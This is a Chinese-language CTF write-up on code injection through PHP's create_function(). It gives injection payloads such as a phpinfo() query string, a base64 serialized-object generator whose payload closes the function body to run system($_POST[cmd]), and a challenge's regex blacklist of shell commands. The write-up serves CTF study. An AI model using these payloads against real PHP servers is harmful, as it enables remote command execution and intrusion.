php代码之create_function()函数
NSS上随机到的一道看题目没什么思路,搜wp看到用到create_function()函数,搜索了解了一下。
create_function()简介
适用 PHP4>4.0.1 PHP 5 PHP7
语法:
1 2 3 4 5
| create_function(string $args, string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
|
函数功能:
1 2 3 4 5
| <?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>
|
分析:
create_function() 会创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。
create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置
因此,上述匿名函数的创建与执行过程等价于:
1 2 3 4 5
| <?php function lambda_1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?>
|
代码注入实例
0x01
1 2 3 4 5 6 7 8
| <?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>
|
简单看一下php代码,要传入一个GET参数赋值给$sort_by。然后定义$sorter的值是 'strnatcasecmp',这是PHP 的内置比较函数,用于自然排序、忽略大小写。比如传入image1和image10时,他会按照数序大小排列。
之后定义了一个数组,注意这个数字不含键值对,但是后面的代码会假设他是一个“有键的数组”。
在$sort_function部分会通过拼接生成字符串。比如我们输入值为name,就会得到:
1
| return 1 * strnatcasecmp($a["name"], $b["name"]);
|
但是如果我们传入恶意参数,比如
1
| ?sort_by=a"]);phpinfo();//
|
那最终拼接的字符串就变成:
1
| return 1 * strnatcasecmp($a["a"]);phpinfo();
|
PHP 会把这段代码交给 create_function 去执行(也就是usort一行),于是这段拼接的字符串被直接“注入”到了函数体里,造成任意代码执行漏洞。
1
| usort($databases, create_function('$a, $b', $sort_function));
|
上面提到,create_function() 会把第二个参数当作 PHP 代码编译成匿名函数。
也就是说,用户可控的 $sort_function 直接被当成php执行。
0x02
1 2 3 4 5 6 7
| <?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?>
|
我们可以看到,$lambda一行,排序构造部分(也就是之后要生成的匿名函数部分中$c是我们可控的),
payload:
0x03(NSSCTF CanCanNeed )
point:反序列化 creat_function函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class Noteasy{ protected $param1; protected $param2; function __destruct(){ $a=$this->param1; $b=$this->param2; if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { die('this param is error!'); } else { $a('', $b); } } } if (!isset($_GET['file'])){ show_source('index.php'); echo "Hi!Welcome to FSCTF2023!"; } else{ $file=base64_decode($_GET['file']); unserialize($file); } ?> Hi!Welcome to FSCTF2023!
|
分析源代码,我们需要传入一个GET型参数file,参数经过base64解码之后赋值给$file,然后进行反序列化。反序列化过程会触发__destruct()魔术方法,这个魔术方法把$param1赋值给$a,$param2经过过滤之后赋值给$b,之后$a('', $b);
$a('', $b);:
$a 此时是个“可调用”(callable):通常是函数名的字符串、匿名函数(Closure),或者 [$obj, 'method'] 这样的数组。
'' 是传给这个可调用的第一个参数(一个空字符串字面量)。
$b 是第二个参数,值来自上面 $b = $this->param2;。
wp中用到的思路是$param1= "create_function"; $param2="};system(\$_POST[cmd]);//"
通过反序列化实现赋值再通过creat_function匿名函数执行$param2的php代码。
1 2 3 4 5 6 7
| <?php class Noteasy{ protected $param1= "create_function"; protected $param2="};system(\$_POST[cmd]);//"; } $a= new Noteasy(); echo base64_encode(serialize($a)); ?>
|
解释一下$param2中{ 的作用:
create_function($args, $code) 内部会 eval 一段模板代码,类似:
1
| eval("function $lambda($args) { $code }");
|
所以第二个参数是用来闭合create_function() 生成的函数体的大括号 {。
references
PHP代码 之create_function()函数_create function-CSDN博客
[NSSCTF第15页(3)_fsctf 2023]cancanneed-CSDN博客